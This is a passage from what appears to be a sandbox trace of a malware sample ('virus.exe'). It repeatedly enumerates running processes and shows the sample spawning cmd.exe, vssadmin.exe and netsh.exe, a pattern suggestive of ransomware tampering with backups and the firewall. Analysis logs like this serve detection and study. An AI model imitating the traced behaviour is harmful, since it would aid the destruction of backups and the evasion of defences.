dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0204.779] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0204.780] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0204.780] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0204.781] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.782] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0204.782] CloseHandle (hObject=0x1c0) returned 1 [0204.782] Sleep (dwMilliseconds=0x1f4) [0205.446] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0205.448] Process32FirstW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.449] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0205.449] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0205.450] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.450] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0205.451] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.451] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0205.451] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0205.452] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0205.452] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0205.453] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.453] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.454] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.454] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.454] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.455] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0205.455] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.456] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.456] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0205.457] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0205.457] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0205.458] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0205.458] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.458] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0205.459] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0205.459] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0205.460] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0205.460] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0205.461] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0205.461] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0205.462] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0205.462] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0205.463] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0205.463] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0205.464] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.464] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0205.465] CloseHandle (hObject=0x1c0) returned 1 [0205.465] Sleep (dwMilliseconds=0x1f4) [0206.185] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0206.187] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.188] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0206.188] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0206.189] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.189] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0206.190] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.190] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0206.191] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0206.191] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0206.192] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0206.192] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.193] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.193] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.194] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.194] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.195] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0206.195] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.196] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.196] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0206.196] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0206.197] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0206.197] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0206.198] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.198] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0206.199] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0206.199] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0206.200] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0206.200] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.201] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.201] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.201] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.202] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0206.202] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0206.203] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0206.203] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.204] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0206.204] CloseHandle (hObject=0x1a8) returned 1 [0206.204] Sleep (dwMilliseconds=0x1f4) [0206.843] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0206.846] Process32FirstW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.846] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0206.846] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0206.847] Process32NextW (in: hSnapshot=0x1a0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, 